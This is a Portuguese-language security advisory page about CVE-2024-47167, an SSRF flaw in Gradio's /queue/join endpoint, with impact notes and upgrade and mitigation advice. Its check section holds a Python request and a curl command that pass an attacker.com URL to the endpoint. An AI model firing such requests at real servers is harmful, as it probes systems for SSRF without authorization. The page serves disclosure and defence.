Plataforma
python
Componente
gradio
Corrigido em
5.0.1
5.0.0
A vulnerabilidade CVE-2024-47167 é uma falha de Server-Side Request Forgery (SSRF) identificada no endpoint /queue/join da biblioteca Gradio. Essa falha permite que atacantes forcem o servidor Gradio a realizar requisições HTTP para URLs controladas pelo atacante, potencialmente expondo serviços internos ou permitindo a exfiltração de dados. A vulnerabilidade afeta versões do Gradio até 5.0.0b9, sendo corrigida na versão 5.0.0.
Um atacante pode explorar essa vulnerabilidade para realizar requisições a serviços internos que normalmente não seriam acessíveis externamente. Isso pode incluir a leitura de arquivos confidenciais, a execução de comandos em servidores internos ou a exfiltração de dados sensíveis. A função asyncsaveurltocache permite que o atacante especifique a URL de destino, tornando possível o acesso a qualquer recurso acessível pelo servidor Gradio. O armazenamento local do conteúdo dessas URLs agrava o problema, facilitando o upload de arquivos maliciosos para o servidor. Essa vulnerabilidade se assemelha a outras falhas SSRF, mas a combinação com o armazenamento local de conteúdo aumenta significativamente o potencial de dano.
A vulnerabilidade foi divulgada em 2024-10-10. Não há informações disponíveis sobre a adição a KEV ou sobre a existência de um EPSS score. Atualmente, não há um Proof of Concept (PoC) publicamente disponível, mas a natureza da vulnerabilidade SSRF a torna potencialmente explorável. A ausência de um PoC não diminui o risco, pois a exploração pode ser desenvolvida rapidamente.
Organizations deploying Gradio to expose machine learning models or other internal applications are at significant risk. Shared hosting environments where multiple users share the same Gradio instance are particularly vulnerable, as an attacker could potentially exploit the vulnerability to target other users' data or resources.
• python / gradio:
import requests
import urllib3
http = urllib3.PoolManager()
try:
response = http.request('GET', 'http://your-gradio-server/queue/join?url=http://attacker.com/malicious.txt')
print(response.status)
except Exception as e:
print(f"Error: {e}")• generic web:
curl -I 'http://your-gradio-server/queue/join?url=http://attacker.com/malicious.txt' | grep -i 'Location:'disclosure
Status do Exploit
EPSS
0.24% (percentil 47%)
CISA SSVC
Vetor CVSS
A mitigação primária é atualizar a biblioteca Gradio para a versão 5.0.0 ou superior, que corrige a vulnerabilidade. Se a atualização imediata não for possível, considere implementar workarounds como restringir o acesso ao endpoint /queue/join através de um firewall ou proxy reverso. Implementar validação rigorosa das URLs fornecidas pelos usuários é crucial para evitar que requisições maliciosas sejam enviadas. Monitore os logs do servidor Gradio em busca de requisições suspeitas para o endpoint /queue/join. Não há detecção de assinatura específica disponível, mas a análise do tráfego de rede pode revelar padrões de requisições anormais.
Atualize a biblioteca Gradio para a versão 5.0 ou superior. Como alternativa, desabilite ou restrinja as entradas baseadas em URL em seu aplicativo Gradio a domínios de confiança. Implemente uma validação de URL mais estrita e garanta que os endereços de rede locais ou internos não possam ser solicitados através do endpoint `/queue/join`.
Análise de vulnerabilidades e alertas críticos diretamente no seu e-mail.
CVE-2024-47167 é uma vulnerabilidade de Server-Side Request Forgery (SSRF) na biblioteca Gradio, permitindo que atacantes forcem o servidor a fazer requisições a URLs controladas por eles.
Se você está utilizando Gradio em versões anteriores a 5.0.0, você está potencialmente afetado. Verifique a versão instalada e atualize.
A correção é atualizar a biblioteca Gradio para a versão 5.0.0 ou superior. Se a atualização não for possível, implemente workarounds como validação de URLs e restrição de acesso.
Embora não haja confirmação de exploração ativa, a natureza da vulnerabilidade SSRF a torna potencialmente explorável e requer atenção imediata.
Consulte o repositório oficial do Gradio no GitHub para obter informações e atualizações sobre a vulnerabilidade: [https://github.com/gradio-app/gradio](https://github.com/gradio-app/gradio)
Envie seu arquivo de dependências e descubra na hora se esta e outras CVEs te atingem.
Envie seu arquivo requirements.txt e descubra na hora se você está afetado.